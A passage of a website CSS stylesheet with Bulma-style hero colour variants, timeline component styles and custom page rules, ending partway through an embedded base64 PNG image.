{\n color: #fff; }\n .hero.is-link .tabs.is-boxed a:hover, .hero.is-link .tabs.is-toggle a:hover {\n background-color: rgba(10, 10, 10, 0.1); }\n .hero.is-link .tabs.is-boxed li.is-active a, .hero.is-link .tabs.is-boxed li.is-active a:hover, .hero.is-link .tabs.is-toggle li.is-active a, .hero.is-link .tabs.is-toggle li.is-active a:hover {\n background-color: #fff;\n border-color: #fff;\n color: #3273dc; }\n .hero.is-link.is-bold {\n background-image: linear-gradient(141deg, #1577c6 0%, #3273dc 71%, #4366e5 100%); }\n @media screen and (max-width: 768px) {\n .hero.is-link.is-bold .navbar-menu {\n background-image: linear-gradient(141deg, #1577c6 0%, #3273dc 71%, #4366e5 100%); } }\n .hero.is-info {\n background-color: #209cee;\n color: #fff; }\n .hero.is-info a:not(.button):not(.dropdown-item):not(.tag),\n .hero.is-info strong {\n color: inherit; }\n .hero.is-info .title {\n color: #fff; }\n .hero.is-info .subtitle {\n color: rgba(255, 255, 255, 0.9); }\n .hero.is-info .subtitle a:not(.button),\n .hero.is-info .subtitle strong {\n color: #fff; }\n @media screen and (max-width: 1087px) {\n .hero.is-info .navbar-menu {\n background-color: #209cee; } }\n .hero.is-info .navbar-item,\n .hero.is-info .navbar-link {\n color: rgba(255, 255, 255, 0.7); }\n .hero.is-info a.navbar-item:hover, .hero.is-info a.navbar-item.is-active,\n .hero.is-info .navbar-link:hover,\n .hero.is-info .navbar-link.is-active {\n background-color: #118fe4;\n color: #fff; }\n .hero.is-info .tabs a {\n color: #fff;\n opacity: 0.9; }\n .hero.is-info .tabs a:hover {\n opacity: 1; }\n .hero.is-info .tabs li.is-active a {\n opacity: 1; }\n .hero.is-info .tabs.is-boxed a, .hero.is-info .tabs.is-toggle a {\n color: #fff; }\n .hero.is-info .tabs.is-boxed a:hover, .hero.is-info .tabs.is-toggle a:hover {\n background-color: rgba(10, 10, 10, 0.1); }\n .hero.is-info .tabs.is-boxed li.is-active a, .hero.is-info .tabs.is-boxed li.is-active a:hover, .hero.is-info .tabs.is-toggle li.is-active a, .hero.is-info .tabs.is-toggle li.is-active a:hover {\n background-color: #fff;\n border-color: #fff;\n color: #209cee; }\n .hero.is-info.is-bold {\n background-image: linear-gradient(141deg, #04a6d7 0%, #209cee 71%, #3287f5 100%); }\n @media screen and (max-width: 768px) {\n .hero.is-info.is-bold .navbar-menu {\n background-image: linear-gradient(141deg, #04a6d7 0%, #209cee 71%, #3287f5 100%); } }\n .hero.is-success {\n background-color: #23d160;\n color: #fff; }\n .hero.is-success a:not(.button):not(.dropdown-item):not(.tag),\n .hero.is-success strong {\n color: inherit; }\n .hero.is-success .title {\n color: #fff; }\n .hero.is-success .subtitle {\n color: rgba(255, 255, 255, 0.9); }\n .hero.is-success .subtitle a:not(.button),\n .hero.is-success .subtitle strong {\n color: #fff; }\n @media screen and (max-width: 1087px) {\n .hero.is-success .navbar-menu {\n background-color: #23d160; } }\n .hero.is-success .navbar-item,\n .hero.is-success .navbar-link {\n color: rgba(255, 255, 255, 0.7); }\n .hero.is-success a.navbar-item:hover, .hero.is-success a.navbar-item.is-active,\n .hero.is-success .navbar-link:hover,\n .hero.is-success .navbar-link.is-active {\n background-color: #20bc56;\n color: #fff; }\n .hero.is-success .tabs a {\n color: #fff;\n opacity: 0.9; }\n .hero.is-success .tabs a:hover {\n opacity: 1; }\n .hero.is-success .tabs li.is-active a {\n opacity: 1; }\n .hero.is-success .tabs.is-boxed a, .hero.is-success .tabs.is-toggle a {\n color: #fff; }\n .hero.is-success .tabs.is-boxed a:hover, .hero.is-success .tabs.is-toggle a:hover {\n background-color: rgba(10, 10, 10, 0.1); }\n .hero.is-success .tabs.is-boxed li.is-active a, .hero.is-success .tabs.is-boxed li.is-active a:hover, .hero.is-success .tabs.is-toggle li.is-active a, .hero.is-success .tabs.is-toggle li.is-active a:hover {\n background-color: #fff;\n border-color: #fff;\n color: #23d160; }\n .hero.is-success.is-bold {\n background-image: linear-gradient(141deg, #12af2f 0%, #23d160 71%, #2ce28a 100%); }\n @media screen and (max-width: 768px) {\n .hero.is-success.is-bold .navbar-menu {\n background-image: linear-gradient(141deg, #12af2f 0%, #23d160 71%, #2ce28a 100%); } }\n .hero.is-warning {\n background-color: #ffdd57;\n color: rgba(0, 0, 0, 0.7); }\n .hero.is-warning a:not(.button):not(.dropdown-item):not(.tag),\n .hero.is-warning strong {\n color: inherit; }\n .hero.is-warning .title {\n color: rgba(0, 0, 0, 0.7); }\n .hero.is-warning .subtitle {\n color: rgba(0, 0, 0, 0.9); }\n .hero.is-warning .subtitle a:not(.button),\n .hero.is-warning .subtitle strong {\n color: rgba(0, 0, 0, 0.7); }\n @media screen and (max-width: 1087px) {\n .hero.is-warning .navbar-menu {\n background-color: #ffdd57; } }\n .hero.is-warning .navbar-item,\n .hero.is-warning .navbar-link {\n color: rgba(0, 0, 0, 0.7); }\n .hero.is-warning a.navbar-item:hover, .hero.is-warning a.navbar-item.is-active,\n .hero.is-warning .navbar-link:hover,\n .hero.is-warning .navbar-link.is-active {\n background-color: #ffd83d;\n color: rgba(0, 0, 0, 0.7); }\n .hero.is-warning .tabs a {\n color: rgba(0, 0, 0, 0.7);\n opacity: 0.9; }\n .hero.is-warning .tabs a:hover {\n opacity: 1; }\n .hero.is-warning .tabs li.is-active a {\n opacity: 1; }\n .hero.is-warning .tabs.is-boxed a, .hero.is-warning .tabs.is-toggle a {\n color: rgba(0, 0, 0, 0.7); }\n .hero.is-warning .tabs.is-boxed a:hover, .hero.is-warning .tabs.is-toggle a:hover {\n background-color: rgba(10, 10, 10, 0.1); }\n .hero.is-warning .tabs.is-boxed li.is-active a, .hero.is-warning .tabs.is-boxed li.is-active a:hover, .hero.is-warning .tabs.is-toggle li.is-active a, .hero.is-warning .tabs.is-toggle li.is-active a:hover {\n background-color: rgba(0, 0, 0, 0.7);\n border-color: rgba(0, 0, 0, 0.7);\n color: #ffdd57; }\n .hero.is-warning.is-bold {\n background-image: linear-gradient(141deg, #ffaf24 0%, #ffdd57 71%, #fffa70 100%); }\n @media screen and (max-width: 768px) {\n .hero.is-warning.is-bold .navbar-menu {\n background-image: linear-gradient(141deg, #ffaf24 0%, #ffdd57 71%, #fffa70 100%); } }\n .hero.is-danger {\n background-color: #ff3860;\n color: #fff; }\n .hero.is-danger a:not(.button):not(.dropdown-item):not(.tag),\n .hero.is-danger strong {\n color: inherit; }\n .hero.is-danger .title {\n color: #fff; }\n .hero.is-danger .subtitle {\n color: rgba(255, 255, 255, 0.9); }\n .hero.is-danger .subtitle a:not(.button),\n .hero.is-danger .subtitle strong {\n color: #fff; }\n @media screen and (max-width: 1087px) {\n .hero.is-danger .navbar-menu {\n background-color: #ff3860; } }\n .hero.is-danger .navbar-item,\n .hero.is-danger .navbar-link {\n color: rgba(255, 255, 255, 0.7); }\n .hero.is-danger a.navbar-item:hover, .hero.is-danger a.navbar-item.is-active,\n .hero.is-danger .navbar-link:hover,\n .hero.is-danger .navbar-link.is-active {\n background-color: #ff1f4b;\n color: #fff; }\n .hero.is-danger .tabs a {\n color: #fff;\n opacity: 0.9; }\n .hero.is-danger .tabs a:hover {\n opacity: 1; }\n .hero.is-danger .tabs li.is-active a {\n opacity: 1; }\n .hero.is-danger .tabs.is-boxed a, .hero.is-danger .tabs.is-toggle a {\n color: #fff; }\n .hero.is-danger .tabs.is-boxed a:hover, .hero.is-danger .tabs.is-toggle a:hover {\n background-color: rgba(10, 10, 10, 0.1); }\n .hero.is-danger .tabs.is-boxed li.is-active a, .hero.is-danger .tabs.is-boxed li.is-active a:hover, .hero.is-danger .tabs.is-toggle li.is-active a, .hero.is-danger .tabs.is-toggle li.is-active a:hover {\n background-color: #fff;\n border-color: #fff;\n color: #ff3860; }\n .hero.is-danger.is-bold {\n background-image: linear-gradient(141deg, #ff0561 0%, #ff3860 71%, #ff5257 100%); }\n @media screen and (max-width: 768px) {\n .hero.is-danger.is-bold .navbar-menu {\n background-image: linear-gradient(141deg, #ff0561 0%, #ff3860 71%, #ff5257 100%); } }\n .hero.is-small .hero-body {\n padding-bottom: 1.5rem;\n padding-top: 1.5rem; }\n @media screen and (min-width: 769px), print {\n .hero.is-medium .hero-body {\n padding-bottom: 9rem;\n padding-top: 9rem; } }\n @media screen and (min-width: 769px), print {\n .hero.is-large .hero-body {\n padding-bottom: 18rem;\n padding-top: 18rem; } }\n .hero.is-halfheight .hero-body, .hero.is-fullheight .hero-body {\n align-items: center;\n display: flex; }\n .hero.is-halfheight .hero-body > .container, .hero.is-fullheight .hero-body > .container {\n flex-grow: 1;\n flex-shrink: 1; }\n .hero.is-halfheight {\n min-height: 50vh; }\n .hero.is-fullheight {\n min-height: 100vh; }\n\n.hero-video {\n overflow: hidden; }\n .hero-video video {\n left: 50%;\n min-height: 100%;\n min-width: 100%;\n position: absolute;\n top: 50%;\n transform: translate3d(-50%, -50%, 0); }\n .hero-video.is-transparent {\n opacity: 0.3; }\n @media screen and (max-width: 768px) {\n .hero-video {\n display: none; } }\n\n.hero-buttons {\n margin-top: 1.5rem; }\n @media screen and (max-width: 768px) {\n .hero-buttons .button {\n display: flex; }\n .hero-buttons .button:not(:last-child) {\n margin-bottom: 0.75rem; } }\n @media screen and (min-width: 769px), print {\n .hero-buttons {\n display: flex;\n justify-content: center; }\n .hero-buttons .button:not(:last-child) {\n margin-right: 1.5rem; } }\n\n.hero-head,\n.hero-foot {\n flex-grow: 0;\n flex-shrink: 0; }\n\n.hero-body {\n flex-grow: 1;\n flex-shrink: 0;\n padding: 3rem 1.5rem; }\n\n.section {\n padding: 3rem 1.5rem; }\n @media screen and (min-width: 1088px) {\n .section.is-medium {\n padding: 9rem 1.5rem; }\n .section.is-large {\n padding: 18rem 1.5rem; } }\n\n.footer {\n background-color: #fafafa;\n padding: 3rem 1.5rem 6rem; }\n\n.timeline {\n display: flex;\n flex-direction: column; }\n .timeline .timeline-header {\n width: 4em;\n min-width: 4em;\n max-width: 8em;\n word-wrap: normal;\n text-align: center;\n display: flex;\n justify-content: center; }\n .timeline .timeline-item {\n display: flex;\n display: -ms-flexbox;\n display: -webkit-flex;\n position: relative;\n margin-left: 2em;\n padding-bottom: 2em; }\n .timeline .timeline-item::before {\n content: "";\n background-color: #dbdbdb;\n display: block;\n width: 0.1em;\n height: 100%;\n position: absolute;\n left: 0;\n top: 0; }\n .timeline .timeline-item .timeline-marker {\n position: absolute;\n background: #dbdbdb;\n border: 0.1em solid #dbdbdb;\n border-radius: 100%;\n content: "";\n display: block;\n height: 0.8em;\n left: -0.35em;\n top: 1.2rem;\n width: 0.8em; }\n .timeline .timeline-item .timeline-marker.is-image {\n background: #dbdbdb;\n border: 0.1em solid #dbdbdb;\n border-radius: 100%;\n display: block;\n overflow: hidden; }\n .timeline .timeline-item .timeline-marker.is-image.is-16x16 {\n height: 16px;\n width: 16px;\n left: -8px; }\n .timeline .timeline-item .timeline-marker.is-image.is-24x24 {\n height: 24px;\n width: 24px;\n left: -12px; }\n .timeline .timeline-item .timeline-marker.is-image.is-32x32 {\n height: 32px;\n width: 32px;\n left: -16px; }\n .timeline .timeline-item .timeline-marker.is-image.is-48x48 {\n height: 48px;\n width: 48px;\n left: -24px; }\n .timeline .timeline-item .timeline-marker.is-image.is-64x64 {\n height: 64px;\n width: 64px;\n left: -32px; }\n .timeline .timeline-item .timeline-marker.is-image.is-96x96 {\n height: 96px;\n width: 96px;\n left: -48px; }\n .timeline .timeline-item .timeline-marker.is-image.is-128x128 {\n height: 128px;\n width: 128px;\n left: -64px; }\n .timeline .timeline-item .timeline-marker.is-icon {\n height: 1.5em;\n width: 1.5em;\n left: -0.7em;\n line-height: .75rem;\n padding: 0.25rem;\n background: #dbdbdb;\n border: 0.1em solid #dbdbdb;\n border-radius: 100%; }\n .timeline .timeline-item .timeline-marker.is-icon > i {\n color: white;\n font-size: 0.75rem !important; }\n .timeline .timeline-item .timeline-marker.is-outlined .image {\n background: white; }\n .timeline .timeline-item .timeline-marker.is-outlined.is-icon {\n background: white; }\n .timeline .timeline-item .timeline-marker.is-outlined.is-icon > i {\n color: #dbdbdb; }\n .timeline .timeline-item .timeline-marker.is-white {\n background-color: white !important;\n border-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-white .image {\n border-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-white.is-icon {\n background-color: white !important;\n border-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-white.is-icon > i {\n color: #0a0a0a !important; }\n .timeline .timeline-item .timeline-marker.is-white.is-outlined {\n background-color: white !important;\n border-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-white.is-outlined .image {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-white.is-outlined.is-icon {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-white.is-outlined.is-icon > i {\n color: white !important; }\n .timeline .timeline-item .timeline-marker.is-black {\n background-color: #0a0a0a !important;\n border-color: #0a0a0a !important; }\n .timeline .timeline-item .timeline-marker.is-black .image {\n border-color: #0a0a0a !important; }\n .timeline .timeline-item .timeline-marker.is-black.is-icon {\n background-color: #0a0a0a !important;\n border-color: #0a0a0a !important; }\n .timeline .timeline-item .timeline-marker.is-black.is-icon > i {\n color: white !important; }\n .timeline .timeline-item .timeline-marker.is-black.is-outlined {\n background-color: white !important;\n border-color: #0a0a0a !important; }\n .timeline .timeline-item .timeline-marker.is-black.is-outlined .image {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-black.is-outlined.is-icon {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-black.is-outlined.is-icon > i {\n color: #0a0a0a !important; }\n .timeline .timeline-item .timeline-marker.is-light {\n background-color: whitesmoke !important;\n border-color: whitesmoke !important; }\n .timeline .timeline-item .timeline-marker.is-light .image {\n border-color: whitesmoke !important; }\n .timeline .timeline-item .timeline-marker.is-light.is-icon {\n background-color: whitesmoke !important;\n border-color: whitesmoke !important; }\n .timeline .timeline-item .timeline-marker.is-light.is-icon > i {\n color: #363636 !important; }\n .timeline .timeline-item .timeline-marker.is-light.is-outlined {\n background-color: white !important;\n border-color: whitesmoke !important; }\n .timeline .timeline-item .timeline-marker.is-light.is-outlined .image {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-light.is-outlined.is-icon {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-light.is-outlined.is-icon > i {\n color: whitesmoke !important; }\n .timeline .timeline-item .timeline-marker.is-dark {\n background-color: #363636 !important;\n border-color: #363636 !important; }\n .timeline .timeline-item .timeline-marker.is-dark .image {\n border-color: #363636 !important; }\n .timeline .timeline-item .timeline-marker.is-dark.is-icon {\n background-color: #363636 !important;\n border-color: #363636 !important; }\n .timeline .timeline-item .timeline-marker.is-dark.is-icon > i {\n color: whitesmoke !important; }\n .timeline .timeline-item .timeline-marker.is-dark.is-outlined {\n background-color: white !important;\n border-color: #363636 !important; }\n .timeline .timeline-item .timeline-marker.is-dark.is-outlined .image {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-dark.is-outlined.is-icon {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-dark.is-outlined.is-icon > i {\n color: #363636 !important; }\n .timeline .timeline-item .timeline-marker.is-primary {\n background-color: #ff4300 !important;\n border-color: #ff4300 !important; }\n .timeline .timeline-item .timeline-marker.is-primary .image {\n border-color: #ff4300 !important; }\n .timeline .timeline-item .timeline-marker.is-primary.is-icon {\n background-color: #ff4300 !important;\n border-color: #ff4300 !important; }\n .timeline .timeline-item .timeline-marker.is-primary.is-icon > i {\n color: #fff !important; }\n .timeline .timeline-item .timeline-marker.is-primary.is-outlined {\n background-color: white !important;\n border-color: #ff4300 !important; }\n .timeline .timeline-item .timeline-marker.is-primary.is-outlined .image {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-primary.is-outlined.is-icon {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-primary.is-outlined.is-icon > i {\n color: #ff4300 !important; }\n .timeline .timeline-item .timeline-marker.is-link {\n background-color: #3273dc !important;\n border-color: #3273dc !important; }\n .timeline .timeline-item .timeline-marker.is-link .image {\n border-color: #3273dc !important; }\n .timeline .timeline-item .timeline-marker.is-link.is-icon {\n background-color: #3273dc !important;\n border-color: #3273dc !important; }\n .timeline .timeline-item .timeline-marker.is-link.is-icon > i {\n color: #fff !important; }\n .timeline .timeline-item .timeline-marker.is-link.is-outlined {\n background-color: white !important;\n border-color: #3273dc !important; }\n .timeline .timeline-item .timeline-marker.is-link.is-outlined .image {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-link.is-outlined.is-icon {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-link.is-outlined.is-icon > i {\n color: #3273dc !important; }\n .timeline .timeline-item .timeline-marker.is-info {\n background-color: #209cee !important;\n border-color: #209cee !important; }\n .timeline .timeline-item .timeline-marker.is-info .image {\n border-color: #209cee !important; }\n .timeline .timeline-item .timeline-marker.is-info.is-icon {\n background-color: #209cee !important;\n border-color: #209cee !important; }\n .timeline .timeline-item .timeline-marker.is-info.is-icon > i {\n color: #fff !important; }\n .timeline .timeline-item .timeline-marker.is-info.is-outlined {\n background-color: white !important;\n border-color: #209cee !important; }\n .timeline .timeline-item .timeline-marker.is-info.is-outlined .image {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-info.is-outlined.is-icon {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-info.is-outlined.is-icon > i {\n color: #209cee !important; }\n .timeline .timeline-item .timeline-marker.is-success {\n background-color: #23d160 !important;\n border-color: #23d160 !important; }\n .timeline .timeline-item .timeline-marker.is-success .image {\n border-color: #23d160 !important; }\n .timeline .timeline-item .timeline-marker.is-success.is-icon {\n background-color: #23d160 !important;\n border-color: #23d160 !important; }\n .timeline .timeline-item .timeline-marker.is-success.is-icon > i {\n color: #fff !important; }\n .timeline .timeline-item .timeline-marker.is-success.is-outlined {\n background-color: white !important;\n border-color: #23d160 !important; }\n .timeline .timeline-item .timeline-marker.is-success.is-outlined .image {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-success.is-outlined.is-icon {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-success.is-outlined.is-icon > i {\n color: #23d160 !important; }\n .timeline .timeline-item .timeline-marker.is-warning {\n background-color: #ffdd57 !important;\n border-color: #ffdd57 !important; }\n .timeline .timeline-item .timeline-marker.is-warning .image {\n border-color: #ffdd57 !important; }\n .timeline .timeline-item .timeline-marker.is-warning.is-icon {\n background-color: #ffdd57 !important;\n border-color: #ffdd57 !important; }\n .timeline .timeline-item .timeline-marker.is-warning.is-icon > i {\n color: rgba(0, 0, 0, 0.7) !important; }\n .timeline .timeline-item .timeline-marker.is-warning.is-outlined {\n background-color: white !important;\n border-color: #ffdd57 !important; }\n .timeline .timeline-item .timeline-marker.is-warning.is-outlined .image {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-warning.is-outlined.is-icon {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-warning.is-outlined.is-icon > i {\n color: #ffdd57 !important; }\n .timeline .timeline-item .timeline-marker.is-danger {\n background-color: #ff3860 !important;\n border-color: #ff3860 !important; }\n .timeline .timeline-item .timeline-marker.is-danger .image {\n border-color: #ff3860 !important; }\n .timeline .timeline-item .timeline-marker.is-danger.is-icon {\n background-color: #ff3860 !important;\n border-color: #ff3860 !important; }\n .timeline .timeline-item .timeline-marker.is-danger.is-icon > i {\n color: #fff !important; }\n .timeline .timeline-item .timeline-marker.is-danger.is-outlined {\n background-color: white !important;\n border-color: #ff3860 !important; }\n .timeline .timeline-item .timeline-marker.is-danger.is-outlined .image {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-danger.is-outlined.is-icon {\n background-color: white !important; }\n .timeline .timeline-item .timeline-marker.is-danger.is-outlined.is-icon > i {\n color: #ff3860 !important; }\n .timeline .timeline-item .timeline-content {\n padding: 1em 0 0 .5em;\n padding: 1em 0 0 2em; }\n .timeline .timeline-item .timeline-content .heading {\n font-weight: 600; }\n .timeline .timeline-item.is-white::before {\n background-color: white; }\n .timeline .timeline-item.is-black::before {\n background-color: #0a0a0a; }\n .timeline .timeline-item.is-light::before {\n background-color: whitesmoke; }\n .timeline .timeline-item.is-dark::before {\n background-color: #363636; }\n .timeline .timeline-item.is-primary::before {\n background-color: #ff4300; }\n .timeline .timeline-item.is-link::before {\n background-color: #3273dc; }\n .timeline .timeline-item.is-info::before {\n background-color: #209cee; }\n .timeline .timeline-item.is-success::before {\n background-color: #23d160; }\n .timeline .timeline-item.is-warning::before {\n background-color: #ffdd57; }\n .timeline .timeline-item.is-danger::before {\n background-color: #ff3860; }\n .timeline.is-centered .timeline-header {\n display: flex;\n width: 100%;\n align-self: center; }\n .timeline.is-centered .timeline-item {\n width: 50%;\n align-self: flex-end; }\n .timeline.is-centered .timeline-item:nth-of-type(2n) {\n align-self: flex-start;\n margin-left: 0;\n margin-right: 2em; }\n .timeline.is-centered .timeline-item:nth-of-type(2n)::before {\n right: -0.1em;\n left: auto; }\n .timeline.is-centered .timeline-item:nth-of-type(2n) .timeline-marker {\n left: auto;\n right: -0.45em; }\n .timeline.is-centered .timeline-item:nth-of-type(2n) .timeline-marker.is-image.is-16x16 {\n left: auto;\n right: -8px; }\n .timeline.is-centered .timeline-item:nth-of-type(2n) .timeline-marker.is-image.is-24x24 {\n left: auto;\n right: -12px; }\n .timeline.is-centered .timeline-item:nth-of-type(2n) .timeline-marker.is-image.is-32x32 {\n left: auto;\n right: -16px; }\n .timeline.is-centered .timeline-item:nth-of-type(2n) .timeline-marker.is-image.is-48x48 {\n left: auto;\n right: -24px; }\n .timeline.is-centered .timeline-item:nth-of-type(2n) .timeline-marker.is-image.is-64x64 {\n left: auto;\n right: -32px; }\n .timeline.is-centered .timeline-item:nth-of-type(2n) .timeline-marker.is-image.is-96x96 {\n left: auto;\n right: -48px; }\n .timeline.is-centered .timeline-item:nth-of-type(2n) .timeline-marker.is-image.is-128x128 {\n left: auto;\n right: -64px; }\n .timeline.is-centered .timeline-item:nth-of-type(2n) .timeline-marker.is-icon {\n left: auto;\n right: -0.8em; }\n .timeline.is-centered .timeline-item:nth-of-type(2n) .timeline-content {\n padding: 1em 2em 0 0;\n text-align: right;\n display: flex;\n flex-direction: column;\n align-items: flex-end;\n flex-basis: 100%; }\n .timeline.is-centered .timeline-item:nth-of-type(2n+1)::before {\n content: "";\n background-color: #dbdbdb;\n display: block;\n width: 0.1em;\n height: 100%;\n position: absolute;\n top: 0; }\n .timeline.is-rtl {\n justify-content: flex-end;\n align-items: flex-end; }\n .timeline.is-rtl .timeline-item {\n justify-content: flex-end;\n border-left: none;\n margin-left: 0;\n margin-right: 2em; }\n .timeline.is-rtl .timeline-item::before {\n right: 0;\n left: auto; }\n .timeline.is-rtl .timeline-item .timeline-marker {\n left: auto;\n right: -0.35em; }\n .timeline.is-rtl .timeline-item .timeline-marker.is-image.is-16x16 {\n left: auto;\n right: -8px; }\n .timeline.is-rtl .timeline-item .timeline-marker.is-image.is-24x24 {\n left: auto;\n right: -12px; }\n .timeline.is-rtl .timeline-item .timeline-marker.is-image.is-32x32 {\n left: auto;\n right: -16px; }\n .timeline.is-rtl .timeline-item .timeline-marker.is-image.is-48x48 {\n left: auto;\n right: -24px; }\n .timeline.is-rtl .timeline-item .timeline-marker.is-image.is-64x64 {\n left: auto;\n right: -32px; }\n .timeline.is-rtl .timeline-item .timeline-marker.is-image.is-96x96 {\n left: auto;\n right: -48px; }\n .timeline.is-rtl .timeline-item .timeline-marker.is-image.is-128x128 {\n left: auto;\n right: -64px; }\n .timeline.is-rtl .timeline-item .timeline-marker.is-icon {\n left: auto;\n right: -0.7em; }\n .timeline.is-rtl .timeline-item .timeline-content {\n padding: 1em 2em 0 0;\n text-align: right; }\n\n.footer {\n background: #7a7a7a;\n color: white; }\n .footer a {\n color: #ffdd57;\n font-weight: bold; }\n\n.main-bg {\n background: #1C1D21 url(http://7xkh57.com1.z0.glb.clouddn.com/Beer.jpg) no-repeat center 0;\n background-size: cover;\n max-height: calc(100vh - 52px); }\n\nspan.image.is-96x96, figure.image.is-96x96 {\n display: block;\n margin-left: auto;\n margin-right: auto; }\n\ncanvas {\n position: absolute;\n width: 100%;\n height: 100%;\n background-color: transparent;\n background-repeat: no-repeat;\n background-size: cover;\n background-position: 50% 50%; }\n\n.navbar {\n box-shadow: inherit; }\n\n.benefit {\n text-align: center; }\n\n#feature {\n background-color: #dbdbdb; }\n #feature .card {\n background-color: transparent;\n box-shadow: none; }\n #feature .card .card-image {\n width: 50%;\n margin: 0 auto; }\n #feature .card .card-content h5 {\n text-align: center; }\n\n.tag.is-secondary {\n background-color: #36c975;\n color: white; }\n\n.technology {\n background-color: #dbdbdb; }\n .technology .card {\n background-color: transparent; }\n\n.phone {\n position: relative;\n width: 509px;\n height: 931px;\n margin: 0 auto;\n background-repeat: no-repeat;\n background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAf0AAAOjCAIAAAA+tUpxAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTVGMDVGOTFEMUUxMUUzQTgxMEI0M0M3QjlEOTkwRiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTVGMDVGQTFEMUUxMUUzQTgxMEI0M0M3QjlEOTkwRiI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NUYwNUY3MUQxRTExRTNBODEwQjQzQzdCOUQ5OTBGIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NUYwNUY4MUQxRTExRTNBODEwQjQzQzdCOUQ5OTBGIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+97gN8gAAlvRJREFUeNrsvXmUZMd1n/nivdwqa++q3qo3oBtLAwQ3ACIsarMsWRLHlOw/bGkkmrZISvKxZqwRtXiOpWPJ8jnjY885Hkua8XgWjaShRIrUapOU5GORHkkUSZGAQIAgQIJAY+kV1VXdtWRlVm4vYmLJzMrMbgDdFcnul1HfB6CQVZW1ZMV7v/jFjRv3CqVUBAAAe4aYPwEAALoPAADoPgAAoPsAAIDuAwAAug8AAOg+AACg+wAAgO4DAAC6DwAA6D4AAKD7AACA7gMAoPsAAIDuAwAAug8AAOg+AACg+wAAgO4DAAC6DwAA6D4AAKD7AACA7gMAALoPAADoPgAAoPsAAOg+AACg+wAAgO4DAAC6DwAA6D4AAKD7AACA7gMAALoPAADoPgAAoPsAAIDuAwAAug8AAOg+AAC6DwAA6D4AAKD7AACA7gMAALoPAADoPgAAoPsAAIDuAwAAug8AAOg+AACg+wAAgO4DAAC6DwCA7gMAALoPAADoPgAAoPsAAIDuAwAAug8AAOg+AACg+wAAgO4DAAC6DwAA6D4AALwmOf4EAOOIlPLyyuWra2tPPvHE2XPn8vn81NTUzMzM7OysflAqlQqWOI5FF/1V7q37n9L/N+8opewHlHkcmQfmM8q8r6T+pFT6Z7m3qUwt5mG73Xb/cx8w77tPpOZZ+gv14+369sb6RrVa1Z88cceJr3vo4cnJqRPHjzN8txdhxhwAxo2nnnrqzIsvFAvFCxfOV2u17Vqt2Wg2W61W2lapTJLY3dixQcQi0f+5L9S3vJsBjL6LWMuzlujIzQp2MlBW60Us3FO0fOtvYWYE81mnF52pQmO/XAkRRyK6Vkz090lyiZ6H5ufn9VS0/Mry2Zde+t/+/b9n+PD7AHDTnDx58jN/+dn773/DvoWFqenpSqWysbER1bZVQ0nn7qWR6kSjZTuxut/RbiPZRqONissozkXmXWn03cq3+ajRfuUWAblczgq6/oQUcRJ1xd09QX97Zb/YLSyc9Nsf3/mnUCws7Nt39OixifLEyvLl2vY2Y4fuB7sGbzabenlbbzTaLYNbApu7QYjeYqvz39DD7mPR/7neJ7tfbe+xa5/ce8Y132Hoh73W4544DP1W13l359UM/hrXfXfnfwOPbgB1veer1/xW1/1s//cZfPxa7/Ue9dlZq3rX+bh7vurES1T3N1DXPLP/I70fN/TB6JofrZwEz8/PXV5Z0Xoq03a5XM7n88VicXZ21gVb3HfS15oSRpqNW3e/jZPyaOcXkzLt6HMUpfYLeyOqL9e+K02prvbvvKs631xay++eaS/yzhPcNzTfSq